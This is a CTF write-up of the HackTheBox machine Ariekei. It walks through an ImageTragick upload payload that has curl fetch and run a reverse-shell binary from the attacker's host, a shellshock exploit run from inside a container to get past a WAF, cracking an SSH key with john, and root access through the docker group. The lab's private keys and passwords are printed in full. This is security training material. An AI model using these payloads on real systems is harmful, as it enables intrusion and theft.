Unbelievable! Some idiot disabled his firewall, meaning all the computers on floor Seven are teeming with viruses, plus I’ve just had to walk all the way down the motherfudging stairs, because the lifts are broken again!
Here we’re going to dig deep into Ariekei, the winding maze of containers, WAF’s and web servers from HackTheBox.
As always, we begin with a port scan.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a7:5b:ae:65:93:ce:fb:dd:f9:6a:7f:de:50:67:f6:ec (RSA)
|_ 256 64:2c:a6:5e:96:ca:fb:10:05:82:36:ba:f0:c9:92:ef (ECDSA)
443/tcp open https?
| ssl-cert: Subject: stateOrProvinceName=Texas/countryName=US
| Subject Alternative Name: DNS:calvin.ariekei.htb, DNS:beehive.ariekei.htb
| Not valid before: 2017-09-24T01:37:05
|_Not valid after: 2045-02-08T01:37:05
| tls-nextprotoneg:
|_ http/1.1
1022/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 98:33:f6:b6:4c:18:f5:80:66:85:47:0c:f6:b7:90:7e (DSA)
| 2048 78:40:0d:1c:79:a1:45:d4:28:75:35:36:ed:42:4f:2d (RSA)
|_ 256 45:a6:71:96:df:62:b5:54:66:6b:91:7b:74:6a:db:b7 (ECDSA)
We see 3 ports, two of which are SSH, but differing versions. We also see two alternative hostname’s in the SSL certificate, so we should enumerate each in turn in case they’re serving different websites.
Make sure to edit your hosts file to include the following lines:
10.10.10.65 calvin.ariekei.htb
10.10.10.65 beehive.ariekei.htb
For this I just used dirbuster and enumerated each domain seperately.
At https://beehive.ariekei.htb/cgi-bin/stats we see a shell script, returning information on the machine.
This is running bash version 4.2.37(1)
which is potentially vulnerable to shellshock. Since debian tends to backport changes made to bash, the version number is no true indicator. Unfortunately, any attempt to pass in any odd characters is met by the following response from the server.
Looks like there’s a WAF in play, so we might want to find another way in, or spend a long time trying bypass methods.
Another interesting page is found at https://calvin.ariekei.htb/upload.
Upload any file and nothing appears to happen, we’re just redirected to a HTTP port of calvin.ariekei.htb/upload, although the title indicates that this is an image converter. Potentially it’s vulnerable to Imagetragick, one of the more famous exploits of the ImageMagick library that handled a substantial amount of the web’s image conversion code. I used one of the proof-of-concepts hosted here and adapted it to return myself a root shell.
For this you’ll want to generate an executable to return a shell. We can easily do this using msfvenom.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.15.41 LPORT=443 -f elf -o shell.elf
We’ll then want to create our payload file, which I called exploit.mvg
. All this does is inject a call to download our binary, make it executable and then execute it.
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|curl 10.10.15.41/shell.elf -o /tmp/shell.elf; chmod +x /tmp/shell.elf; /tmp/shell.elf; echo "rce1)'
pop graphic-context
We upload the file, place the executable on our local web server and set up a netcat listener. After a few seconds we’re returned a shell as…root?
This isn’t true root however, a quick look around reveals we’re sitting in a docker container. Using mount
we see a list of mounted files and directories within the docker environment. An interesting one is this /common
directory:
/dev/mapper/ariekei--vg-root on /common type ext4 (ro,relatime,errors=remount-ro,data=ordered)
In the /common
directory we see some interesting sub-directories.
cd /common
ls -la
total 20
drwxr-xr-x 5 root root 4096 Sep 23 18:36 .
drwxr-xr-x 36 root root 4096 Nov 13 15:10 ..
drwxrwxr-x 2 root root 4096 Sep 24 00:59 .secrets
drwxr-xr-x 6 root root 4096 Sep 23 18:32 containers
drwxr-xr-x 2 root root 4096 Sep 24 02:27 network
cd containers
ls -la
total 24
drwxr-xr-x 6 root root 4096 Sep 23 18:32 .
drwxr-xr-x 5 root root 4096 Sep 23 18:36 ..
drwxr-xr-x 2 root input 4096 Nov 13 14:36 bastion-live
drwxr-xr-x 5 root input 4096 Nov 13 14:36 blog-test
drwxr-xr-x 3 root root 4096 Nov 13 14:36 convert-live
drwxr-xr-x 5 root root 4096 Nov 13 14:36 waf-live
Inside the containers
directory what look like the build environments of all the containers running on this host. This is especially useful as we can see the root password, if it was changed, for each of these containers within their Dockerfiles. No hash cracking needed down the line.
root@ezra:/common/containers/blog-test# cat Dockerfile
FROM internal_htb/docker-apache
RUN echo "root:Ib3!kTEvYw6*P7s" | chpasswd
RUN apt-get update
RUN apt-get install python -y
RUN mkdir /common
root@ezra:/common/containers/blog-test# cat start.sh
docker run \
-v /dev/null:/root/.sh_history \
-v /dev/null:/root/.bash_history \
--restart on-failure:5 \
--net arieka-test-net --ip 172.24.0.2 \
-h beehive.ariekei.htb --name blog-test -dit \
-v /opt/docker:/common:ro \
-v $(pwd)/cgi:/usr/lib/cgi-bin:ro \
-v $(pwd)/config:/etc/apache2:ro \
-v $(pwd)/logs:/var/log/apache2 \
-v /home/spanishdancer:/home/spanishdancer:ro web-template
In the .secrets
directory we see two RSA keys.
drwxrwxr-x 2 root root 4096 Sep 24 00:59 .
drwxr-xr-x 5 root root 4096 Sep 23 18:36 ..
-r--r----- 1 root root 1679 Sep 23 17:51 bastion_key
-r--r----- 1 root root 393 Sep 23 17:51 bastion_key.pub
cat bastion_key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA8M2fLV0chunp+lPHeK/6C/36cdgMPldtrvHSYzZ0j/Y5cvkR
SZPGfmijBUyGCfqK48jMYnqjLcmHVTlA7wmpzJwoZj2yFqsOlM3Vfp5wa1kxP+JH
g0kZ/Io7NdLTz4gQww6akH9tV4oslHw9EZAJd4CZOocO8B31hIpUdSln5WzQJWrv
pXzPWDhS22KxZqSp2Yr6pA7bhD35yFQ7q0tgogwvqEvn5z9pxnCDHnPeYoj6SeDI
T723ZW/lAsVehaDbXoU/XImbpA9MSF2pMAMBpT5RUG80KqhIxIeZbb52iRukMz3y
5welIrPJLtDTQ4ra3gZtgWvbCfDaV4eOiIIYYQIDAQABAoIBAQDOIAUojLKVnfeG
K17tJR3SVBakir54QtiFz0Q7XurKLIeiricpJ1Da9fDN4WI/enKXZ1Pk3Ht//ylU
P00hENGDbwx58EfYdZZmtAcTesZabZ/lwmlarSGMdjsW6KAc3qkSfxa5qApNy947
QFn6BaTE4ZTIb8HOsqZuTQbcv5PK4v/x/Pe1JTucb6fYF9iT3A/pnXnLrN9AIFBK
/GB02ay3XDkTPh4HfgROHbkwwverzC78RzjMe8cG831TwWa+924u+Pug53GUOwet
A+nCVJSxHvgHuNA2b2oMfsuyS0i7NfPKumjO5hhfLex+SQKOzRXzRXX48LP8hDB0
G75JF/W9AoGBAPvGa7H0Wen3Yg8n1yehy6W8Iqek0KHR17EE4Tk4sjuDL0jiEkWl
WlzQp5Cg6YBtQoICugPSPjjRpu3GK6hI/sG9SGzGJVkgS4QIGUN1g3cP0AIFK08c
41xJOikN+oNInsb2RJ3zSHCsQgERHgMdfGZVQNYcKQz0lO+8U0lEEe1zAoGBAPTY
EWZlh+OMxGlLo4Um89cuUUutPbEaDuvcd5R85H9Ihag6DS5N3mhEjZE/XS27y7wS
3Q4ilYh8Twk6m4REMHeYwz4n0QZ8NH9n6TVxReDsgrBj2nMPVOQaji2xn4L7WYaJ
KImQ+AR9ykV2IlZ42LoyaIntX7IsRC2O/LbkJm3bAoGAFvFZ1vmBSAS29tKWlJH1
0MB4F/a43EYW9ZaQP3qfIzUtFeMj7xzGQzbwTgmbvYw3R0mgUcDS0rKoF3q7d7ZP
ILBy7RaRSLHcr8ddJfyLYkoallSKQcdMIJi7qAoSDeyMK209i3cj3sCTsy0wIvCI
6XpTUi92vit7du0eWcrOJ2kCgYAjrLvUTKThHeicYv3/b66FwuTrfuGHRYG5EhWG
WDA+74Ux/ste3M+0J5DtAeuEt2E3FRSKc7WP/nTRpm10dy8MrgB8tPZ62GwZyD0t
oUSKQkvEgbgZnblDxy7CL6hLQG5J8QAsEyhgFyf6uPzF1rPVZXTf6+tOna6NaNEf
oNyMkwKBgQCCCVKHRFC7na/8qMwuHEb6uRfsQV81pna5mLi55PV6RHxnoZ2wOdTA
jFhkdTVmzkkP62Yxd+DZ8RN+jOEs+cigpPjlhjeFJ+iN7mCZoA7UW/NeAR1GbjOe
BJBoz1pQBtLPQSGPaw+x7rHwgRMAj/LMLTI46fMFAWXB2AzaHHDNPg==
-----END RSA PRIVATE KEY-----
These look like SSH keys, so we try this on port 22 and 1022. Port 1022 gives us access with username root.
root@kali:/tmp# ssh root@10.10.10.65 -p 1022 -i id_rsa
Last login: Sun Apr 22 17:05:28 2018 from 10.10.14.18
root@ezra:~# id
uid=0(root) gid=0(root) groups=0(root)
Not much stands out but lets have a look at the make_networks.sh
file within the /containers
folder again:
#!/bin/bash
# Create isolated network for building containers. No internet access
docker network create -d bridge --subnet=172.24.0.0/24 --gateway=172.24.0.1 --ip-range=172.24.0.0/24 \
-o com.docker.network.bridge.enable_ip_masquerade=false \
arieka-test-net
# Crate network for live containers. Internet access
docker network create -d bridge --subnet=172.23.0.0/24 --gateway=172.23.0.1 --ip-range=172.23.0.0/24 \
arieka-live-net
Here I’ve mapped each of the containers to their IP’s on each network and
So some of these containers are dual-homed on both the live and the test network. The container we were in, convert-live
was in the live network, but the bastion-live
box we just SSH’d into is on both.
root@ezra:/tmp# ifconfig
eth0 Link encap:Ethernet HWaddr 02:42:ac:17:00:fd
inet addr:172.23.0.253 Bcast:0.0.0.0 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2816 errors:0 dropped:0 overruns:0 frame:0
TX packets:1791 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:250564 (250.5 KB) TX bytes:238013 (238.0 KB)
eth1 Link encap:Ethernet HWaddr 02:42:ac:18:00:fd
inet addr:172.24.0.253 Bcast:0.0.0.0 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:498 errors:0 dropped:0 overruns:0 frame:0
TX packets:555 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:51924 (51.9 KB) TX bytes:40623 (40.6 KB)
What’s interesting about this network layout is that the waf-live
is the device exposed to us on port 443, and all it’s doing is routing traffic between us and the blog-test
container. Those images we saw when we attacked the stats
script were generated by waf-live
which we see when we enumerate the container files in /common
.
Here is an excerpt from nginx.conf
in waf-live
, which shows that ModSecurity is acting as the WAF.
ModSecurityEnabled on;
ModSecurityConfig modsecurity.conf;
We also confirm that the beehive.ariekei.htb
hostname is forwarded from the blog-test
container.
## Blog test vhost ##
server {
listen 443 ssl;
server_name beehive.ariekei.htb;
location / {
proxy_pass http://172.24.0.2/;
proxy_next_upstream error timeout invalid_header http_500 http_502 http_503 http_504;
proxy_redirect off;
proxy_buffering off;
proxy_force_ranges on;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
add_header X-Ariekei-WAF "beehive.ariekei.htb";
}
error_page 403 /403.html;
location = /403.html {
root html;
}
}
Remember that potential shellshock from earlier? So to avoid the protections, all we need to do is launch our attack from this container which can bypass the waf entirely by going through a different subnet.
We’ll use the shellshock proof-of-concept from exploit-db.
root@ezra:/tmp# python shellshock.py payload=reverse rhost=172.24.0.2 lhost=172.24.0.253 lport=1234 pages=/cgi-bin/stats
[!] Started reverse shell handler
[-] Trying exploit on : /cgi-bin/stats
[!] Successfully exploited
[!] Incoming connection from 172.24.0.1
172.24.0.1> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Almost there, but in this device we see we’re www-data
. Luckily, we have the password from the Dockerfile, root:Ib3!kTEvYw6*P7s
, so all we need to do is spawn a tty, so we can use su to root.
In this container we view the mounted directories using mount
which shows that /home/spanishdancer
is mounted from the host and isn’t a user on this container which we can confirm from the passwd file.
root@beehive:/home/spanishdancer/.ssh#
172.24.0.1>
ls -la
total 20
drwx------ 2 1000 1000 4096 Sep 24 2017 .
drwxr-xr-x 5 1000 1000 4096 Nov 13 14:19 ..
-rw-rw-r-- 1 1000 1000 407 Sep 24 2017 authorized_keys
-rw------- 1 1000 1000 1766 Sep 24 2017 id_rsa
-rw-r--r-- 1 1000 1000 407 Sep 24 2017 id_rsa.pub
root@beehive:/home/spanishdancer/.ssh#
Luckily it appears there’s a couple of ssh keys in there.
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,C3EBD8120354A75E12588B11180E96D5
2UIvlsa0jCjxKXmQ4vVX6Ez0ak+6r5VuZFFoalVXvbZSLomIya4vYETv1Oq8EPeh
KHjq5wFdlYdOXqyJus7vFtB9nbCUrgH/a3og0/6e8TA46FuP1/sFMV67cdTlXfYI
Y4sGV/PS/uLm6/tcEpmGiVdcUJHpMECZvnx9aSa/kvuO5pNfdFvnQ4RVA8q/w6vN
p3pDI9CzdnkYmH5/+/QYFsvMk4t1HB5AKO5mRrc1x+QZBhtUDNVAaCu2mnZaSUhE
abZo0oMZHG8sETBJeQRnogPyAjwmAVFy5cDTLgag9HlFhb7MLgq0dgN+ytid9YA8
pqTtx8M98RDhVKqcVG3kzRFc/lJBFKa7YabTBaDoWryR0+6x+ywpaBGsUXEoz6hU
UvLWH134w8PGuR/Rja64s0ZojGYsnHIl05PIntvl9hinDNc0Y9QOmKde91NZFpcj
pDlNoISCc3ONnL4c7xgS5D2oOx+3l2MpxB+B9ua/UNJwccDdJUyoJEnRt59dH1g3
cXvb/zTEklwG/ZLed3hWUw/f71D9DZV+cnSlb9EBWHXvSJwqT1ycsvJRZTSRZeOF
Bh9auWqAHk2SZ61kcXOp+W91O2Wlni2MCeYjLuw6rLUHUcEnUq0zD9x6mRNLpzp3
IC8VFmW03ERheVM6Ilnr8HOcOQnPHgYM5iTM79X70kCWoibACDuEHz/nf6tuLGbv
N01CctfSE+JgoNIIdb4SHxTtbOvUtsayQmV8uqzHpCQ3FMfz6uRvl4ZVvNII/x8D
u+hRPtQ1690Eg9sWqu0Uo87/v6c/XJitNYzDUOmaivoIpL0RO6mu9AhXcBnqBu3h
oPSgeji9U7QJD64T8InvB7MchfaJb9W/VTECST3FzAFPhCe66ZRzRKZSgMwftTi5
hm17wPBuLjovOCM8QWp1i32IgcdrnZn2pBpt94v8/KMwdQyAOOVhkozBNS6Xza4P
18yUX3UiUEP9cmtz7bTRP5h5SlDzhprntaKRiFEHV5SS94Eri7Tylw4KBlkF8lSD
WZmJvAQc4FN+mhbaxagCadCf12+VVNrB3+vJKoUHgaRX+R4P8H3OTKwub1e69vnn
QhChPHmH9SrI2TNsP9NPT5geuTe0XPP3Og3TVzenG7DRrx4Age+0TrMShcMeJQ8D
s3kAiqHs5liGqTG96i1HeqkPms9dTC895Ke0jvIFkQgxPSB6y7oKi7VGs15vs1au
9T6xwBLJQSqMlPewvUUtvMQAdNu5eksupuqBMiJRUQvG9hD0jjXz8f5cCCdtu8NN
8Gu4jcZFmVvsbRCP8rQBKeqc/rqe0bhCtvuMhnl7rtyuIw2zAAqqluFs8zL6YrOw
lBLLZzo0vIfGXV42NBPgSJtc9XM3YSTjbdAk+yBNIK9GEVTbkO9GcMgVaBg5xt+6
uGE5dZmtyuGyD6lj1lKk8D7PbCHTBc9MMryKYnnWt7CuxFDV/Jp4fB+/DuPYL9YQ
8RrdIpShQKh189lo3dc6J00LmCUU5qEPLaM+AGFhpk99010rrZB/EHxmcI0ROh5T
1oSM+qvLUNfJKlvqdRQr50S1OjV+9WrmR0uEBNiNxt2PNZzY/Iv+p8uyU1+hOWcz
-----END RSA PRIVATE KEY-----
This private key is unfortunately passphrase protected, so we need to crack it. To do this we’ll load up john and run it over our standard rockyou wordlist.
root@kali:~/Downloads# ssh2john host_rsa > host_rsa_hash
root@kali:~/Downloads# john host_rsa_hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
purple1 (host_rsa)
1g 0:00:00:00 DONE (2017-12-30 22:25) 25.00g/s 16650p/s 16650c/s 16650C/s purple1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
It cracks it almost instantly, and so we have our password purple1
, so now we can freely SSH into the host through port 22.
This escalation is pretty well known if you’ve ever dealt with docker or other containerisation technologies such as LXD.
spanishdancer@ariekei:/$ id
uid=1000(spanishdancer) gid=1000(spanishdancer) groups=1000(spanishdancer),999(docker)
Notice that the user is a member of the docker
group. Some container solutions, including docker, will have a dedicated group to allow unprivileged users to manage their containers without having to escalate to the root user. This is because docker requires root privileges to perform a number of actions. Unfortunately, this also makes escalating to root, incredibly easy. It’s important to remember this, I’ve seen it catch a few people out.
So let’s use this to escalate. Firstly, we see what images are available:
spanishdancer@ariekei:/$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
waf-template latest 399c8876e9ae 3 months ago 628MB
bastion-template latest 0df894ef4624 3 months ago 251MB
web-template latest b2a8f8d3ef38 3 months ago 185MB
bash latest a66dc6cea720 3 months ago 12.8MB
convert-template latest e74161aded79 19 months ago 418MB
We’ll use the bash image for this. Now we create a new image with bash as our template, and mount the root directory of the host in a folder called /rootfs
within it.
spanishdancer@ariekei:/$ docker run -v /:/rootfs -i -t bash
bash-4.4# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
bash-4.4# cd /rootfs/root/
bash-4.4# ls
root.txt
And there we have it, full control of the filesystem with root privileges. Docker group privilege escalation in a one-liner. I hope you enjoyed this write-up, and I hope you give the box a try if you haven’t already. @rotarydrone should be applauded for a fantastic box and journey through docker.
https://imagetragick.com/ https://github.com/ImageTragick/PoCs https://www.exploit-db.com/exploits/34900/ https://fosterelli.co/privilege-escalation-via-docker.html
Written on April 22nd , 2018 by Josiah Beverton